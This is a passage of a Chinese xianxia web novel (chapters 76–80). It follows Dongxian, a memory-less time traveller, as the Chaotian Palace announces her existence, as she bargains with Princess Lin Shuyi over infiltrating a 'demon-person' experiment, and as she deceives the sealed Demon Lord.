莫吟洲也乐得清闲自在，在发现“慕婉思”暂时不需要他后，他选择来到幽云城。
诚如东闲所言，他的确不是来看戏的，而是来找一人。
来世之人。
朝天宫的弥海沙漏出现被动用的迹象，这代表现在的时间是被扭转的过去，在他们当中有一个通晓未来的人存在。
朝天宫用圣阶法器太白定象仪，预言出来世之人会出现的地方，太白定象仪第一次定位是在幽云城。
这是他已知的消息，他便按消息所说的那般来到幽云城，但因不知道有关来世之人的更多信息，便漫无目的地寻找着。
东闲跟着下人走动，心在想着另一件事。
太多人了，这里不止莫吟洲一个意图不明的人，在青玉轩外，她也看到行踪可疑的人。
莫吟洲的古怪行径，提高了她的警惕性，她想到自己在赤焰龙脉中看到的弥海沙漏被动用的迹象，如若朝天宫发现弥海沙漏被动用，多半会选择告知天下，毕竟能破开朝天宫的防御，动用弥海沙漏，侧面已然能应证她的实力。
可他们不知，这个来世之人失去了未来的记忆，也没了未来的力量，仅是个才淬灵境后期的普通修士，甚至连自己到底是什么存在都搞不明白。
东闲试探地说了几句话，从莫吟洲那得来肯定的回答。
得知天下将有各方势力抓拿她，若说烦躁倒也没有多少，她从最初的些许慌乱很快收拾心情。
她所拥有的东西，足够她应付一切，记忆丧失，却能留下百家秘法绝学，这已经是极其难能可贵的宝贝，是她最需要的宝贝。
其二便是百生镜和缘，借用此二物，能助她化险为夷设局欺人。
想到这，她唇角微微弯起。
她最怕的是落了个籍籍无名的死，而现在的她只会让全天下人都记得。
77.第 77 章
朝天宫，琉璃洞。
琉璃洞由层层结界守护，每一层都蕴含天道规则，越往里天道规则限制越大，若非宫主本人，无人能够深入琉璃洞，而层层结界世上无人能堪破。
守卫按照惯例巡查琉璃洞，每三个月就要来检查并巩固结界。
他们自信于强大的结界，据说凡人得以修道起，就有了第一层结界，随着时间的流逝，一直增到第九层结界，每一个结界都历史弥久，一直无人能破，似乎就合该如此，除了神允诺的朝天宫宫主可以踏足，其他人皆肖想不得。
所以，当他们看见琉璃洞内的异象时，个个都瞪出眼珠子。
结界没有被破坏，但是琉璃洞内有紫色光芒的闪烁不停，这种异象前所未有。
这不可能！
琉璃洞为朝天宫守护，也有几百年的历史，而这几百年从未出现过任何异象，如今出了异象绝对是出事了，而出事意味着有人踏足了琉璃洞。
世上不可能有人能无声无息地进入琉璃洞，他必然要破坏结界，而结界一经外力接触，就一定会惊动整个朝天宫。
朝天宫，因为第一任宫主功德满身，得神青睐，承天福泽，因而宫内孕育了许多神赐的仙物，也因此使得朝天宫地位水涨船高，在修仙界中颇具话语权。
朝天宫世代奉天令守护琉璃洞，如今琉璃洞内出现异象，他们几乎算是违背使命。
琉璃洞内，有一个能扭转时间的弥海沙漏，若是让不轨之人逆转弥海沙漏……
守卫不敢再想，他们反应迅速，立刻传讯给宫主。
几息的功夫，众守卫面前掀起一阵风，风散后，一个华服尊贵的男人步履匆匆地朝琉璃洞而来。
他肉眼可见地举步仓促，仍不改一身威严。
众守卫稽首恭敬地唤道：“宫主。”
宫主南宫钰目不斜视，身影又化作一团风，转瞬穿过层层结界，进入琉璃洞内部。
作为朝天宫宫主，并非能够随意进入琉璃洞，南宫钰这辈子只进过两回朝天宫，第一回，是他担任朝天宫宫主，现下，是第二回。
他一颗心震动得宽大的华袍都能明显地看出胸口的鼓动，细密的冷汗已经布满他的后背。
朝天宫守护琉璃洞以来，从未发生过任何异象，代代宫主不曾松懈，便定下每三个月都要检查琉璃洞的规矩。
第一次检查是守卫，第二次检查便是由宫主亲自莅临，而宫主并不能随意进出琉璃洞，同守卫一般只能在外，仅仅能比守卫多贴几步向琉璃洞罢了。
心念电转，已经来到弥海沙漏前，他来的一路上，已经检查过结界没有任何松动的痕迹，自圣果被盗走，朝天宫这段时日戒备森严，所有人都受严格管控，不可能有人能够潜入朝天宫，何况盗走圣果之人据说只是个连修为都没有的普通人。
法阵依旧安然无恙，的确没有人闯入琉璃洞，对弥海沙漏动手。
可他的眼睛，清清楚楚地映照着弥海沙漏被明显动用过后的模样！
正常的弥海沙漏如寻常沙漏般点点滴滴地向下漏着，但是上下的星沙不会有任何增减变化。
而动过的弥海沙漏，上面的星沙明显比上面多，每一刻滴漏的星沙都会落到下面，时间的流逝会使得上面的沙漏与下面的沙漏达到平衡，也就是直至时间回到最初做出回溯选择的时间点，才不会再有变化。
这一刻，南宫钰彻底心死。
南宫钰的面色沉冷得可怕，紧攥的拳头终于松开，他是个有洁癖的人，指甲定期会修理，不然掌心必定得掐出十道血痕。
事情比守卫上报的还要可怕。
弥海沙漏何止是被人动过，根本是已经被人动过，如今的时间已经被回溯到过去，来世之人就在他们当中。
宫主甩袖离开，召集朝天宫上下所有重要人物来议事堂议事。
得知琉璃洞内的弥海沙漏被人动用，众人皆是惊惧之相。
朝天宫的七英齐聚一堂，坐于首位的宫主不发一言，旁边人已经开口。
年迈的老者惶然而道：“朝天宫守护琉璃洞几百年来，可从未出过事啊，怎么到了我们这就生事。”
一个年轻人笑呵呵道：“年伯母，这种时候就别说些丧气话了，大家心里都不高兴，要说也得说怎么解决吧。”
虽为年轻气盛的后辈，但她实力过人，坐在这的都是朝天宫有说话权的人物。
只是被她呛话的人也是个人物，自然受不住她的气，因知道现在不是时候，老者便咽下一口气。
年轻人继续道：“您的意思是，在未来会有人血屠我们朝天宫，这人可真牛啊，能血屠我们朝天宫那得是天下第一等的存在吧，屠了我们朝天宫还能破开天道结界，这实力都该能飞升了。”
华尚纠正道：“不是未来，这个人已经做到了，现在是时间回溯过的过去。”
面容憨态身材圆滚的中年人道：“他到底想做什么？”
年轻人道：“这可多了去，都逃不过不甘二字，我倒是希望这人是为了救人，这样的话，他并非无情冷血之人，兴许不会弄出什么灾祸来。”
连筝讥讽道：“过去救不回的人还想穿回来再救，无用。”
年轻人道：“你这话说的，总得容许人家有弱小的时候，你们也不用太过紧张，就算他回到过去，这种时候他也未必有血屠我们朝天宫的能力，要知道，我们到现在可没听说过有谁能问鼎天道。”
华尚道：“不论这人目的如何，要么杀了，要么控制住他。”
中年人不赞同地道：“你以为此人还会跟我们讲大道理？他能把我们朝天宫屠了，即便回到过去也不会把朝天宫放在眼里，何况他已经占得先机，此人已有飞升之能，时间回溯到过去，他只会做得更绝。”
这才是真正令人担心的一点，且先不谈此人可能能够问鼎天道的境界，光是他所占得的先机，就能足使他把这修仙界搅一番。
南宫钰听着众人议论纷纷，心中有一个念头愈来愈清晰。
来世之人出现在他们当中，这种事情已经不是朝天宫能够管控的事情。
此人能攻破朝天宫的防御，想必实力定然不是朝天宫能制衡的，光靠朝天宫的力量是没有办法抓住此人。
所有人若有所觉地噤声不言，目光投向中间的宫主。
宫主下令道：“把消息放出去，告诉所有人，来世之人就在我们当中。”
无论这人是什么目的，一个来自未来的人穿越到过去，必定会引得修仙界大乱，修仙界有权利都知道有如此威胁在，不会有人能够容许一个来世之人能安然活在这世上。
而他们能做的，就是用天下人的力量抓住此人，把大家的矛盾引到此人身上。
***
“来世之人。”
斜斜躺在贵妃椅上的女子重复了贴身女仆传来的字眼。
“能破除朝天宫的阵法，甚至窥破天道法则，这样的人会带来大麻烦的。
“虽然修行一事，天道未做太多限制，但是敢跟天道作对之人，必
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然会背负诅咒。
“不论是谁，若拦我去路，统统杀了。”
东闲来的时候，就听见这声轻飘飘没什么力量的“杀”字。
有人惹公主生气了吗？
反正说的肯定不会是她。
东闲掐断了念头，被仆人领到了公主面前，房间里烧着沁人心脾的熏香，叫人一日的劳顿都在这熏香中消解。
彼时她已经拿下遮掩容貌的幕篱，露出一张她几月来不曾展现的真容，她是以自己的模样来见林纾衣的。
东闲知道，公主会喜欢见到她的真容。
林纾衣见她，显然心情不错，不加掩饰地勾起唇角，是在喜欢她的识相。
东闲早知道的，跟公主相处要顺着她的脾性来，她不喜欢被人反驳忤逆。
也不待东闲开口，林纾衣状似苦恼道：“你知道我的秘密怎么办？能清楚我身份的，只有两种存在，你想做哪一种？”
是的，青玉轩的主人是来自罗玉国的琼玉公主，这件事除了青玉轩的人，便只有现在的东闲知道了。
人人对琼玉公主的印象只停留在她有一张极为迷人的容貌上。
他们却不知，一个不会出现裂纹的花瓶本身就不会如他们想的那般脆弱。
这绝对不是什么选择题，东闲看着她那张能叫人上刀山赴火海的绝色容颜，心道。
于是，她道：“能讨得公主欢喜的那种。”
林纾衣道：“为何？”
东闲看着她，一对眸便被公主填满。
“因为我是真心为公主。”
林纾衣知道这话没多少真意，但也不妨碍她很受用地弯起眼。
林纾衣瞧着她这张看不出端倪的脸，假意都能看出真情的脸，指尖敲打着八仙桌面，饶有兴趣地道：“你躲他的那招让我想起某个前辈，只是前辈说过，此生不会传给任何人秘术，便是死也要将秘术带到黄泉去，我想，你的招式只是恰好与她撞上罢了。”
东闲撑着笑意不变：“公主，这世上总有很多意想不到的巧合。”
林纾衣没有在这个话题上久留，她打量着东闲这身打扮，表情没有多少变化，而言语透着浓浓嫌弃的意味，似是终于看不下去，道：“你缺灵石吗，买不起衣裳吗？”
东闲这身打扮并未有太大问题，是寻常的打扮，但是在林纾衣看来，顶着这张出众的脸非要换上一件平平无奇的衣裳这是一种糟蹋。
东闲飞快地扫了眼，在公主身后侍候的侍女俱是容颜姝丽的美人，不但如此，且打扮都很迷人，只是公主的美貌举世无双，轻而易举地盖过她们的风头，乍一眼让人忽视她们的容颜。
东闲很认真地记下一点，在公主面前自己也得打扮得好看。
林纾衣起身越过她，口中道：“换身衣裳再来见我，你这身扔得越远越好。”
东闲眨了下眼，站在她面前的就是另一个的女子。
那是林纾衣跟前的侍女，一个叫清风，一个叫明月，来给东闲带路的是叫清风的姑娘。
“东姑娘，还请随我来。”
东闲没有拒绝的余地，便顺从公主的意思去换身衣裳。
清风把她送到灵池边，这灵池又可称疗养池，专针对魂识一类的损伤修复。
进入灵池前，清风如是道：“灵池不但能养精蓄锐，还能消除体内所有负面影响，东姑娘好好放松，只要泡上四回，就能将这些日子的烦心事通通忘却。”
东闲听出清风的话外之音，却之不恭地下了灵池。
78.第 78 章
一个奄奄一息、气数将尽的女人被囚于困笼，四肢皆被束缚，紧闭双眼。
听到有人接近的动静，她仅仅撕扯着干裂的嘴唇道些刻薄嘲讽的话。
“尽管什么手段都使出来，好吃好喝地供养着我算什么，莫不是以为把我哄高兴了就能把地图画出来，琼玉公主，我原以为你和他们不同，如今看来还是如传闻一般的天真烂漫。”
林纾衣坐在离她不远的地方，明月为她倒茶，她接过，只是端在手中，弥漫的雾气映衬得她天仙般的面庞似梦似幻。
“若我能找到你的妹妹呢？”
她轻飘飘的一句话像是触动了榻上人的某个机关，瞬间睁开了双眼，冷冰冰的面庞也为此浮现异样的情绪。
“你结党营私，与叛党四公主狼狈为奸，意图偷藏地图，是为重罪，唯有以死谢罪，你为了你死去的主人可以把地图藏到地底中去，可你妹妹的生死你就能做到不管不问吗。”
听到“结党营私”这个词时，女人喉里溢出一声冷笑，她在笑王权争霸，败者为寇。
等到林纾衣把话说完，她的嘴唇又不可自抑地发抖。
“邹昭，我的耐心有限，你若不能立刻给我回复，我也并非只能从你这得到地图的消息，而你却只能仰仗我，因为只有我才能把你的妹妹带出来。”
邹昭攥紧了双拳，有些时日没空修剪的指甲掐进了掌心，而这点痛楚在经历过剥皮抽筋的痛苦后，早就不值一提。
她犹豫了，她并非毫无牵挂，这个世间还有她挂念的存在，那便是她的妹妹。
她谋划多年，以为跟了个好主子，到头来落得个叛党的罪名，成王败寇的道理她熟记于心，输了便是输了，可要是她的妹妹还能过上好日子，她心中的念头还会动摇。
她本就为了让妹妹过上好日子，才选择跟着四公主叛变的。
邹昭长久地不言，林纾衣在她沉默的片刻中来到她的身边，茶盏中的水早已温凉，她哗哗倾倒，浇了邹昭一头。
后者不可置信地瞪大了眼，大脑尚未反应过来林纾衣做了什么。
“在我这里，我是主子，我瞧你可怜，允你躺着同我说话，可不是给你一根杆顺着爬到我头上来。”
她低眼俯视着秋昭，那张精贵迷人的面庞尽是高傲优雅，还有的是位高权贵之人独有的蔑视。
邹昭这时倏然记起，传闻中的琼玉公主纵是一个空有美貌的花瓶，也因过人的美貌被老皇帝当个吉祥物一般养着，吃喝住行哪一样不上等，何况现在站在她面前的，是青玉轩的主人。
她甚至还胆大包天地生出了个想法，这张由金银珠宝打造的面庞，合该是坐在那张龙座上。
邹昭原本的愠怒慢慢平息，听着林纾衣继续道：“你得见见你妹妹的最后一面，你会撑到那个时候。”
林纾衣转身就走，没有等邹昭的回应，明月紧随其后，将房门合上，合住了这屋中泄去的生气。
林纾衣道：“她这副模样，不用我出手就用不着两日咽气，你找个时间带她去灵池吊命，记住她只能泡一炷香，不然会弄脏了我的灵池。”
若非邹昭的脑袋把地图一切清清楚楚地全都记明白了，林纾衣也不会大费功夫把人带回来，还要搅一趟浑水。
“明月你待会替她检查，可千万别让她的脑袋出了问题，她的身上唯一有用的便是那颗脑袋。”
明月应下，问道：“公主，怡红院的请帖已经送来，要答应他们吗？”
林纾衣道：“他们盛情相邀，我不去岂不是拂了他们的面子。”
明月：“公主？”
林纾衣则是朝着某个方向看去，好似穿透了重重墙壁，落在灵池闭眼修神的女子身上。
“有人会替我们解决的。”
***
偌大的灵池只有东闲一个人。
这片灵池灵气最浓郁，据闻其中加了百清除秽液，是个了不得的宝物，将其加入灵池当中能起到修养魂识、清除体内杂秽之效。
下灵池不用多此一举地褪去衣衫，灵池虽名带“池”字，但其中并没有水，而是由迷蒙的灵气充盈，躺在其中，安静地享受片刻，灵气便透过衣衫穿透皮肤表层的毛孔，洗涤其中的杂秽，洗完后身体会浸出的虚汗才与池一字搭上一点联系。
在其中甚是舒适安宁，东闲差点没把控好时间就要在其中沉沉睡去。
她出来时，身心舒畅，有些忍不住想伸个懒腰。
过去她因为魂识受损，无法修到凝元境，如今有灵池辅助，只要按照清风所言，再泡上三次就能够继续正常修炼。
东闲沐浴完，换上林纾衣差遣人送来的衣裳，内搭是件素白交领宽袖长衫，外套一件绣着鹤纹的无袖圆领，腰间系着宽大的腰带。
她对着铜镜看向镜中的自己。
林纾衣的眼光实在不错，这身衣裳的确很衬她，一穿上乍以为还是个翩翩君子，再拿把折扇那味便更浓了，如瀑的乌发随意搭在肩头，配着她轻易勾人的笑，多了风流的意味，更是让人移不开眼。
东闲很清晰地得到一个认知，她确实生得很出众。
她收拾完自己，便跟着清风的步伐再次来到林纾衣面前。
清风回来也没歇着，拿过架上一旁的玉琵琶，这是林纾衣的法器，名唤逢春，相传是由一位圣阶炼器师以一块千年白玉打造，琴体晶莹剔透，表面雕刻着栩栩如生的花儿，拨动时会有落花飞舞，同她人一样，都是叫人移不开视线的至美。
清风细心地擦拭着，公主宝贝这把玉琵琶，得日日仔细擦拭一遍。
彼时屋中的人各有各的事在忙，明月在修剪今日新插的花枝，公主逗弄着一只雪白狸奴。
在她进来时，林纾衣没出声，只用一双含着深意的眼眸瞧着她，腿上放着张毯子，狸奴便躺在毯子上面，她的手有一搭没一搭地顺着狸奴的毛，她摸得敷衍，胜在狸奴演技精湛，状似很享受。
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林纾衣知道她的秘密太多，东闲明白自己与林纾衣的关系只能是合作，她没法像对其他人那般糊弄林纾衣，林纾衣可清楚她有几斤几两。
公主是聪明人，揣着明白装糊涂会惹得她生气，东闲已经想好了如何面对她。
公主能让自己坐在这，必然是有事是她能帮公主做到的，双方的利益需求是非常不错的关系。
东闲道：“我需要公主能为我做一件事，我要一件能庇佑炼心境修士升境的法器，这是我的第三个要求。”
她不必言说其他，林纾衣会是最清楚她在盗取朝天圣果之后做了哪些事的人。
林纾衣问道：“这是第三个要求？”
难道你让我救你帮你逃离亓沂的追踪，就不是第三个要求？
东闲厚颜无耻地道：“那一件当然不算了，帮我也是在帮公主，所以是公主在帮自己。”
林纾衣被她的话逗笑，但也出言没有否认东闲的价值。
她似乎有些厌烦顺毛的动作，把猫和毯子一并交给在旁候着的明月手中，而后挪步到案前，把手放进清水中，洗去一手的毛。
“我姑且认为这是你对我青玉轩的肯定，可你开口就要能够庇佑炼心境修士升境的法器，你值得我付出这个代价吗。”
哗哗的流水配着她的声音，语速缓慢而又动听，世人只传她的美貌，忘记了她的嗓音也是一等一的绝，东闲耳畔不由得响起戏台上伶人的唱声，只不过嗓音却是林纾衣的。
“我人都是公主的，公主就不愿意帮帮我吗，我以为公主足够信任我，公主，就算是为你上刀山下火海我都愿意，这么一个忠诚你的人，她的强大完全有利于你。”
林纾衣慢条斯理地擦拭着手，一双狐狸眼不轻不重地睨了她一眼，能让人酥软骨头。
“你很擅长给自己的脸贴金。”
却是一直没有在拒绝。
东闲微笑：“我便当公主答应了。”
在林纾衣看来，东闲过分地强调自己的价值，但对于林纾衣来说，未满凝元境的东闲确切有着她想利用的地方。
比方她能够变化他人面目连世间强者都难以发现，比方她手持的部分玲珑阁的力量。
林纾衣立起一根手指抵在唇间，鲜红的口脂映着白皙的手指，东闲适才发现，她这般爱美居然没在指甲上涂抹豆蔻。
她以一种不容反驳的口吻道：“我可以帮你，不过同样的，你得答应我完成两样事。”
东闲没有反驳的余地，她也能觉察到双方的天平正在偏离她而向林纾衣倾斜，她已然失去这场谈判的主导地位，可她现在确实是算作有求于人，故而痛快地应了声“好”。
林纾衣绽放笑容，迷人得晃人眼目，受她眼神示意的明月，把今日送到的请帖交给东闲。
“好了，那接下来是该谈谈你要为我办的事。”
在东闲不解的目光下，林纾衣问她第一句话。
“你知道妖人吗？”
79.第 79 章
真狡猾。
在听完林纾衣讲了何为妖人，妖人为何产生，以及她请东闲参加两天后的怡红院盛宴后，东闲给了这么一个评价。
所谓妖人，便得谈到星宿传承一事。
于修仙者来说，想要修仙先得灵体，才能吸纳天地间的灵气，化为境界的力量。
若说这灵体是修仙这座宫殿的根基，那么星宿传承决定了这座宫殿修筑得何等的金碧辉煌。
拥有的星宿传承的天赋越高，越有仙资修仙，可以达到更高更远的境界，并且能够修炼部分适用的秘法，这便是为何有部分修士明明能够修仙却不满现状还要换掉自己的星宿传承。
由此引发出一条剥夺星宿传承的血腥产业链，星宿传承的贩卖，以及排异效果的出现导致焕新膏的生产，最初的时候还没有被禁止。
当听到林纾衣谈及星宿传承时，东闲敏锐地联想到自己身负两种星宿传承。
东闲不知道，是否是林纾衣故意没有提及她身负两种星宿传承，但她肯定林纾衣一定知道自己有两种星宿传承。
林纾衣有意的忽略，让东闲禁不住多想，但林纾衣既然不打算提，她也不会主动将话题引到这上面来。
林纾衣道：“幽云城是不被限制的地方，在这里没有百仙盟，所以幽云城内贩卖星宿传承一事格外猖獗。
“你应该知道初生香和焕新膏吧。”
东闲平日并不在此上面多有研究，但也知道这些东西。
玲珑阁能在玄清宗眼皮底下做着贩卖星宿传承这种事，这说明它最多只是其中一个媒介。
后来在得了尤长离的信任后，她从尤长离的口中得知，他们的主家便是幽云城的怡红院。
“针对星宿传承的排异效果而出现的两样东西，其中初生香更加昂贵稀有，供不应求，并且百利无害。”
林纾衣继续道：“缺陷是二者都需要长期服用，初生香的稀少导致他们迟早有一天会用到焕新膏，焕新膏有一个极大的弊端，在长期服用下会导致性情大变，心境不稳，最后堕落成魔，因为焕新膏其中一种成分，用的是鬼煞冢特有的蚀魂水。”
因为焕新膏的成分用上了鬼煞冢的蚀魂水，故而使用焕新膏的修士都会堕落成魔，这便为百仙盟注意，开始大力打击星宿传承剥夺一事。
当初在玄清宗扒出怀玉师兄与魔勾结一事，整个玄清宗封闭了数日，弟子们不允许私自下山，所有与怀玉师兄和常怀清有联系的人，至少都被扒了一层皮。
好在玄清宗内部没有出现弟子服用焕新膏的现象，除了那些被祸害的外门弟子，玄清宗依次给了补偿外，并未发现太大麻烦，这群魔的目标似乎只是鸦昤的内丹。
林纾衣道：“焕新膏带来的后果是不可逆的，想要减少焕新膏的负面影响，就需要拿到更厉害的法宝去清除身体内的毒素，现在的他们不满于焕新膏带来的盈利，为此开始了妖人计划，一个让人同妖一样能够自主吸取灵气的计划。”
东闲觉得这个想法过于大胆，来了几分兴趣，道：“让人和妖一样以灵气为食的计划，这听起来格外有新意，如若能成功且没有副作用，的确是个不错的方法。”
林纾衣瞥了她一眼，道：“妖人计划的受众更广泛，即便是缺乏灵体也能像修士一样吸取灵气，但它注定会要付出更强大的代价。”
没有人能同东闲一般能够盗取朝天圣果获得灵体，妖人计划若是实施成功，那些渴望修仙的凡人将是面向的最大的群体。
这个道理在场的人都明白。
东闲也明白，嘴角的弧度分毫未变。
“看来百仙盟有更重要的事情要做，他们有了事情总该放过我。”
她根本不在乎什么星宿传承的剥夺还有妖人计划，在没有牵扯到她的利益时，她根本不会把这些事情放在心上。
林纾衣看着她那张淡然到冷漠的面庞，并不意外，她早就看出来，此人惯会花言巧语，擅长的是状似剖心掏肺的假情假意化为真，要说她在乎的恐怕只有她自己。
但林纾衣知道，往往这种铁血无情的人才能成就大事。
“你来幽云城是受尤长离指使，离了我的青玉轩，两天后你是要赴怡红院的宴。”
东闲一双眼都落在她的身上，感叹道：“公主你猜得真准。”
林纾衣道：“两天后，怡红院要开的盛宴将是妖人计划第一次大众视线出现，而我同样收到了来自他们的请帖。”
东闲随口猜道：“公主是要与他们合作？”
林纾衣以一种斩钉截铁的口气道：“青玉轩可不屑与他们合作。”
东闲道：“青玉轩难道就不会参与星宿传承的贩卖？”
这听起来真不可思议，幽云城又名为新生城，因为在幽云城贩卖星宿传承和焕新膏，就如同人间市集街边小贩吆喝卖包子一类一般常见。
东闲以为青玉轩能够在幽云城站稳，多多少少也参与了星宿传承的买卖，岂料得到一个完全否定的回答。
似是看出了东闲的惊讶，林纾衣歪着头，用一种天真的语气说着大逆不道的话。
“一国之君怎能牵扯到这些腌臜事？”
东闲看了她一眼，也就明白“颜值即正义”这句话的产生。
这张脸能够让人忘记她犯下的任何过错，包括她方才自称一国之君，以至于东闲甚至顺着她的话开始去思考，一国之君要是被扒出与剥夺星宿传承一事有染，的确不利于国家的君主与子民齐心。
东闲道：“公主要我做的事与怡红院有关？”
林纾衣：“我需要你找一个人，这个人是妖人计划的实验品，你要做的是阻止她变成妖人，并且把她带出来。”
觉察到东闲微妙的目光变化，林纾衣道：“你不乐意？”
东闲回道：“能为公主做事是我的荣幸。”
却是口不由衷，腹诽林纾衣的狡猾。
明明自己正有此意，却要摆着一副很为难的模样，欲要压住东闲，从而达到谈判失衡的结果，让东闲多答应她一个条件。
占去优势的林纾衣将会把东闲牢牢掌控在手中，本就势单力薄的东闲处境只会更加艰难。
跟聪明人说话很累的，尤其东闲觉得自己并不聪明，
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她果然还是喜欢用拳头说话。
东闲懒倦地放弃用脑子思考，似是只会鹦鹉学舌、邯郸学步般，此刻公主说什么她便应什么，公主的脑子便是她的脑子。
“那就按公主的想法来，毕竟动脑这方面我一点都不擅长，公主需要我我随时可以出手。”
事情已经比她预料的最差结果好多了，她最初会以为林纾衣要给她下药。
所以东闲一点也不生气，最多是感到无奈。
林纾衣满意她的识相，道：“至于第二个条件，等你能够完成第一个条件我会告诉你，清风，带着东姑娘去歇息，过两日可要花足心思。”
在清风把东闲送走后，明月眼尖瞥到了那案上被遗留的一物，她目光触及一旁的林纾衣，得了信号后，把那珠钗拿给林纾衣。
林纾衣一手握着点翠珠钗，上面的流苏倾斜下来，随着她的晃荡如水波纹般。
她必须要肯定一点，东闲的品味和她很像，每每送来的宝贝都很符合她的心意。
这把珠钗，她一眼就喜欢上了。
林纾衣此生喜爱的东西有三样，一是权力，二是戏曲，三便是美丽。
她心情倏地愉悦，叫明月把珠钗收起来，又道：“先前送来的法宝是该准备好送给她。”
彼时清风送东闲到相应的客房，便告退离开。
东闲没有在意她，她习惯性地打量着屋子，而后坐下接通听音螺。
那边的声音问她在哪。
东闲回道：“不用了，我已经安置下来，两日后我会如约而至。”
那边的声音没有多问她是如何处理身后的尾巴，问了她有没有将妖人计划告诉魔尊，让她有需求随时可以联系玲珑阁，玲珑阁将是她有力的后盾。
听音螺置在一旁，东闲摩挲着掌心的红痣，思量着玲珑阁与魔的关系。
真是有趣啊，玲珑阁跟怡红院做着同样的买卖，却是效忠于魔。
她能被玲珑阁客气对待，还真的完全仰仗于魔尊的态度，玲珑阁对她的态度客气，也正是因为她是魔尊的代表。
当掌心的红痣变化成缠满半身的咒文，东闲的双瞳染上一层猩红。
她又一次与魔尊意识相通，感应到鬼煞冢内层层封印封锁下的魔尊。
这回她感觉到魔尊的力量在变得强大，鬼煞冢的封印恐怕有了削弱的迹象。
她曾在月华长老那听过几句话，无妄之地的群魔多次动乱，就已经是证明鬼煞冢的封印出现松动的痕迹。
最初魔尊是生存在无妄之地，因为被封印，它所在的地方便形成了鬼煞冢。
这不是件好事，魔尊要是从鬼煞冢出来，麻烦最大的是她。
她必须变得更加强大才行。
魔尊的声音打断了东闲的思索，它道：“朝天圣果在你的身上，作为我忠心的信徒，你该把朝天圣果交给我。”
东闲想也不想道：“不，我不能把朝天圣果交给你。”
“为何不交出朝天圣果，你不愿意为了我付出你的所有？”
觉察到东闲的不乐意，魔尊的声音突然尖锐。
80.第 80 章
东闲早知会有这么一问，此刻听出那道声音里压着的怒气与不满，她也不觉得害怕而紧张，如实回答道：“并非我不愿把朝天圣果交给您，朝天圣果与我的性命相连，若强行拿出朝天圣果，我便会死去，我的死并不重要，只是这玉佩怕是会落到有心人手中。”
她说得诚恳，又有玉佩认主的限制在，魔尊并未怀疑她的忠诚。
魔尊狐疑地问：“朝天圣果当真与你的心脉相连？”
东闲道：“如若玉佩不会给您带来不好的效果，我愿意现在就将朝天圣果取出来给您。”
魔尊的态度好了不少，“你待我忠心耿耿，定然不会欺我，无需向我证明。”
东闲道：“请让我辅佐您，为了您离开鬼煞冢而出力。”
魔尊在沉思，于它来说东闲那点能力实在不够看，但东闲确实是第一个它能够联系的凡人，这群修士们对魔很敏感，如若能有东闲在身侧辅助，确实会对它的部分事情的完成有用。
东闲感受到魔尊的犹豫，趁势说道：“您知道妖人计划吗？”
魔尊发出了浓浓的疑惑，“妖人计划？”
东闲于是把妖人计划简述给它，听完后的魔尊显然生气，发出一声哼笑。
这群修士要是把妖人计划实施成功，以后还会跟它合作吗，不，他们分明是想跟它摆脱关系，
它最初愿意与修士们合作，便是因为会有相当一部分人服用蚀魂水，最后都会落入堕魔的境地，从而壮大它的力量。
“没有任何一个人告诉我妖人计划。”
东闲猜得没错，妖人计划确实是没有经过与魔尊沟通而进行的。
妖人计划的实施成功会损坏魔尊的利益，魔尊是不能容忍这等事情发生。
“你怎么知道这件事的？”
东闲回道：“玲珑阁邀请我在两日后参与怡红院的盛宴，届时妖人计划将第一次出现在大众面前。”
魔尊突然觉得它并不着急需要朝天圣果，如若东闲所言真的，它与外界唯一的交流将会就此中断。
它被那群讨厌的家伙们封印在鬼煞冢中，不能与外界有丝毫接触交流，如今在外面做事的，是自发效忠于它的群魔。
大将玉同样和它一样被封印，她有先见之明，在被封印前让魔尊解绑玉佩，好落入他人手中成为它的眼为它掌控。
东闲要是死了，外界的消息可是没人为它透露，今日可是东闲告诉它，它才明白在它被封印的这段时间内，那群不安分的家伙们弄出了什么妖人计划，试图摆脱它！
如今它已经被封印足够长久的时间，封印会随着时间的变化而削弱，由于焕新香的受众逐步扩大，它在外面的力量得到壮大，而这部分壮大的力量在帮它破坏封印，依照如此速度下去，魔尊突破封印重见天光是迟早的事。
结果来了个妖人计划，敢让妖人计划出现在大众中，多半是有一定的把握，魔尊绝不能让妖人计划实施成功，不然这群贪婪的人类得知可以不用受焕新香的控制，必然会抛弃焕新香转而加入开始转变妖人。
虽然魔尊丝毫没有考虑过修士们对于自己变成妖人的排斥，在它眼中修士们也算不得多正义的存在，他们同样连同类都残杀，那么做出把自己变成妖人的这种事听起来也不奇怪，想必他们很快就会能接受的。
这场合作原本能为它带来利益，如今合作伙伴生出散伙单干的念头来，它怎么不着急，它可还没有从鬼煞冢彻底逃出来。
魔尊越想越气，困住它的重重锁链随着它的动作而晃荡，却因为它的动作得来了反噬。
东闲并不不知它做了什么，但因为二人意识相通，能感受到魔尊此刻暴乱的情绪，影响得她头痛，不得不默念静心咒。
而在下一刻，它的情绪有了一百八十度大转弯，竟如沐春风般的亲和，可亲可近极了。
“你知道吗，你有数不尽的同伴，它们都同你一样效力于这世间伟大的存在，有着同样的使命。”
魔尊暂时放弃了剥夺东闲朝天圣果的想法，它要让东闲代替它完成它不能做到的事情，让东闲成为它的眼帮它盯紧那群不老实的家伙。
最重要的是，她认玉佩为主，定然是全心全意地忠诚于它。
东闲说得像模像样，仿若出自真心：“我愿意为您奉出一切，只为拥您再度入世。”
魔尊道：“可惜依你才淬灵境的境界，你恐怕不能为我做得了太多。”
东闲道：“我会不止一样秘法绝学，我身负不止一个星宿传承，我会变得更加强大，绝不会辜负您的期望，魔尊大人，我会成为您手中最好用的一把刀。”
她像是真的被玉佩蛊惑般，向魔尊道出她身上的秘密。
东闲知道自己的秘密迟早要暴露，但是她主动暴露与被魔尊察觉两种带来的结果是不一样的。
告诉魔尊不会让它怀疑玉佩对东闲的针对性，最多加强魔尊对东闲的渴望，所以某种程度上也算是保障了东闲的人身安全，有朝天圣果在身上，魔尊定然不愿意她死在别人手上的。
不过魔尊没把她的话听进心中，会不止一种秘法绝学不值得稀奇，只能说东闲天资过人，身负两种星宿传承，那就是曾经换过星宿传承，不过魔尊没感应到她身上熟悉的气息，那么多半是才换了不久。
彼时的魔尊根本不会想到，东闲的话中所蕴含的信息量是多么的惊人。
魔尊甚至敷衍都懒得敷衍，直接道：“所以现在，你该知道你要怎么做。”
“阻拦妖人第一次试验的成功，让它以失败的形式进入大众视线。”
东闲顺从地回道，面上却半无恭敬之色，百般聊赖地把玩着听音螺，眼底是一片兴味。
夜幕已黑沉，东闲难得感到一丝倦意，目光瞥向一旁点起的熏香，她鲜有地没磕丹药修炼，卧榻沉沉睡去。
守候的清风见屋内烛火尽灭，声音也跟着灭了，悄然离去。
